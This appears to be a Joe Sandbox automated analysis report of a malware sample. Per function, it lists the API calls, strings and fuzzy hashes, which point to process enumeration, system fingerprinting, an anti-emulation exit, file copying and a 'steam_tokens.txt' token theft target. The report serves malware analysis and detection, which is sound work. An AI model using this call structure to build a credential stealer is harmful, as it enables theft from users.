Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 1a0ef18b8f83ca929ce2d2d63e3a5c7deae1fcedb9ce826cce40a9630259278b
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 1a0ef18b8f83ca929ce2d2d63e3a5c7deae1fcedb9ce826cce40a9630259278b
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041FD888,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041FD888,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 004067C2, 0040689F, 0040679E, 00406884, 0040684E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 687962ccc4eae67d17fcff549de06531ab168f4bf6ac0391c2f29faedae00af7
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,04201270), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,04201000), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,04200FF0), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: facbcfeb329d3f9815475b54a06f180d61b580abb6e0d2298b8d5075a3fb8c5d
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: facbcfeb329d3f9815475b54a06f180d61b580abb6e0d2298b8d5075a3fb8c5d
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,04201270), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,04201000), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,04200FF0), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 91cd0639fafd06dc0a39cd937359a2c576a7600d13c88bfeca31e0903ecbd99f
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: 91cd0639fafd06dc0a39cd937359a2c576a7600d13c88bfeca31e0903ecbd99f
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,04208060), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,04201040), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: aee14ac10de1ece76b3008eda533a8383be3bc2d628396bcb6b319180cdda7cd
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C8E3095

Part of subcall function 6C8E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C96F688,00001000), ref: 6C8E35D5
Part of subcall function 6C8E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8E35E0
Part of subcall function 6C8E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C8E35FD
Part of subcall function 6C8E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8E363F
Part of subcall function 6C8E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8E369F
Part of subcall function 6C8E35A0: __aulldiv.LIBCMT ref: 6C8E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8E309F

Part of subcall function 6C905B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9056EE,?,00000001), ref: 6C905B85
Part of subcall function 6C905B50: EnterCriticalSection.KERNEL32(6C96F688,?,?,?,6C9056EE,?,00000001), ref: 6C905B90
Part of subcall function 6C905B50: LeaveCriticalSection.KERNEL32(6C96F688,?,?,?,6C9056EE,?,00000001), ref: 6C905BD8
Part of subcall function 6C905B50: GetTickCount64.KERNEL32 ref: 6C905BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C8E30BE

Part of subcall function 6C8E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C8E3127
Part of subcall function 6C8E30F0: __aulldiv.LIBCMT ref: 6C8E3140

Part of subcall function 6C91AB2A: __onexit.LIBCMT ref: 6C91AB30

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e3d5318cccf992cf0bf8dee6e9188e05be6c828d08e9fbb0713057a84fd40f4
Instruction ID: 48e5f6a64105c43c672f856eff8f313af73c1848dd844c46a06cc4f8d5ea808d
Opcode Fuzzy Hash: 0e3d5318cccf992cf0bf8dee6e9188e05be6c828d08e9fbb0713057a84fd40f4
Instruction Fuzzy Hash: 99F0D652E2C74C96DB10DF3598412B6B370AF7B218F20672DE844576A1FB20A6D883C2

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 82664073c78b14407ff2a65fb01a5e155cda0900eabfa95e0a657889640af93c
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 82664073c78b14407ff2a65fb01a5e155cda0900eabfa95e0a657889640af93c
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Memory Dump Source

